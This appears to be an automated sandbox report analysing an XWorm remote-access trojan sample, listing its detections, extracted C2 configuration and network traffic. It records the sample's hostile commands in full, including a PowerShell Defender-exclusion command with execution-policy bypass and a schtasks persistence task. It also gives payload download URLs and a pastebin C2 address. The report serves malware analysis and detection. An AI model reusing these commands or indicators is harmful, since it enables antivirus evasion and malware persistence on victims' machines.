Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" , ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ParentProcessId: 4320, ParentProcessName: coonfart.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', ProcessId: 3288, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Runtime Broker, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ProcessId: 4320, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\Public\Runtime Broker", CommandLine: "C:\Users\Public\Runtime Broker", CommandLine|base64offset|contains: , Image: C:\Users\Public\Runtime Broker, NewProcessName: C:\Users\Public\Runtime Broker, OriginalFileName: C:\Users\Public\Runtime Broker, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Users\Public\Runtime Broker", ProcessId: 7372, ProcessName: Runtime Broker

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\80BvHOM51j.exe, ProcessId: 2832, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" , ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ParentProcessId: 4320, ParentProcessName: coonfart.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker", ProcessId: 2656, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" , ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ParentProcessId: 4320, ParentProcessName: coonfart.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', ProcessId: 3288, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3716, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\80BvHOM51j.exe, ProcessId: 2832, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat

Malware Analysis System Evasion

Sigma detected: Powershell adding suspicious path to exclusion list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" , ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ParentProcessId: 4320, ParentProcessName: coonfart.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', ProcessId: 3288, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T19:11:04.097315+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49730	143.178.83.216	443	TCP
2024-10-13T19:11:05.359844+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49731	143.178.83.216	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\Public\Runtime Broker	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": "https://pastebin.com/raw/LsuynkUz", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Runtime Broker	ReversingLabs: Detection: 81%
Source: C:\Users\Public\Runtime Broker	Virustotal: Detection: 65%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	Virustotal: Detection: 65%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Virustotal: Detection: 65%	Perma Link

Multi AV Scanner detection for submitted file

Source: 80BvHOM51j.exe

Virustotal: Detection: 9%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\Runtime Broker	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: https://pastebin.com/raw/LsuynkUz
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: <123456789>
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: <Xwormmm>
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: Stellar
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: USB.exe
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: %Public%
Source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	String decryptor: Runtime Broker

Source: unknown	HTTPS traffic detected: 143.178.83.216:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49831 version: TLS 1.2

Source: 80BvHOM51j.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\80BvHOM51j.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://pastebin.com/raw/LsuynkUz

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Yara detected Generic Downloader

Source: Yara match	File source: 0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.coonfart.exe.12d61a78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.coonfart.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1], type: DROPPED
Source: Yara match	File source: C:\Users\Public\Runtime Broker, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.4:49869 -> 193.161.193.99:46070

Source: global traffic	HTTP traffic detected: GET /raw/LsuynkUz HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 193.161.193.99 193.161.193.99

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49731 -> 143.178.83.216:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49730 -> 143.178.83.216:443

Source: global traffic	HTTP traffic detected: GET /f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622 HTTP/1.1User-Agent: Mozilla/5.0Host: bin.homebots.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622 HTTP/1.1User-Agent: Mozilla/5.0Host: bin.homebots.ioCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99
Source: unknown	TCP traffic detected without corresponding DNS query: 193.161.193.99

Source: C:\Users\user\Desktop\80BvHOM51j.exe

Code function: 0_2_00007FF6ACE826F6 InternetOpenA,InternetOpenUrlA,HttpQueryInfoA,InternetCloseHandle,InternetCloseHandle,_invalid_parameter_noinfo_noreturn,InternetReadFile,InternetCloseHandle,InternetCloseHandle,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,

0_2_00007FF6ACE826F6

Source: global traffic	HTTP traffic detected: GET /f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622 HTTP/1.1User-Agent: Mozilla/5.0Host: bin.homebots.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622 HTTP/1.1User-Agent: Mozilla/5.0Host: bin.homebots.ioCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /raw/LsuynkUz HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: bin.homebots.io
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: svchost.exe, 0000001A.00000002.2913557497.000001A4D6000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5E08000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5E08000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5E08000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5E3D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.26.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, 80BvHOM51j.exe, 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, 80BvHOM51j.exe, 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, coonfart.exe, 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, coonfart.exe, 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, coonfart.exe, 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, Runtime Broker.2.dr, 45b52685-cc32-47e5-abd7-306bfc875622[1].0.dr, coonfart.exe.0.dr	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000006.00000002.1844678858.0000021358544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1945912327.00000240CC0C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2099020934.000001823F812000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1821832936.00000213486FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC27A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F9C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: coonfart.exe, 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1821832936.00000213484D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F7B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC27681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.1821832936.00000213486FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC27A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F9C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000C.00000002.1965699235.00000240D46E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cVf6
Source: powershell.exe, 0000000C.00000002.1965699235.00000240D4733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000006.00000002.1821832936.00000213484D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1891461405.00000240BC051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2002606468.000001822F7B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2167775470.000001BC27681000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: 80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bin.homebots.io/
Source: 80BvHOM51j.exe, 00000000.00000002.2908643707.0000009576EF7000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622
Source: 80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc875622#
Source: 80BvHOM51j.exe, 00000000.00000002.2909568930.000001EE09E50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bin.homebots.io/f/0bd6fd77-6477-4491-a6a1-b69876184fc7/45b52685-cc32-47e5-abd7-306bfc8756225
Source: powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 80BvHOM51j.exe	String found in binary or memory: https://discord.gift/
Source: 80BvHOM51j.exe	String found in binary or memory: https://discord.gift/cls
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5EB2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.26.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.26.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.26.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5EB2000.00000004.00000800.00020000.00000000.sdmp, edb.log.26.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000013.00000002.2167775470.000001BC278A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1844678858.0000021358544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1945912327.00000240CC0C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2099020934.000001823F812000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2320434265.000001BC376F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000001A.00000003.2517348187.000001A4D5EB2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.26.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: Runtime Broker, 00000017.00000002.2438375637.00000000031AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/LsuynkUz

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443

Source: unknown	HTTPS traffic detected: 143.178.83.216:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49831 version: TLS 1.2

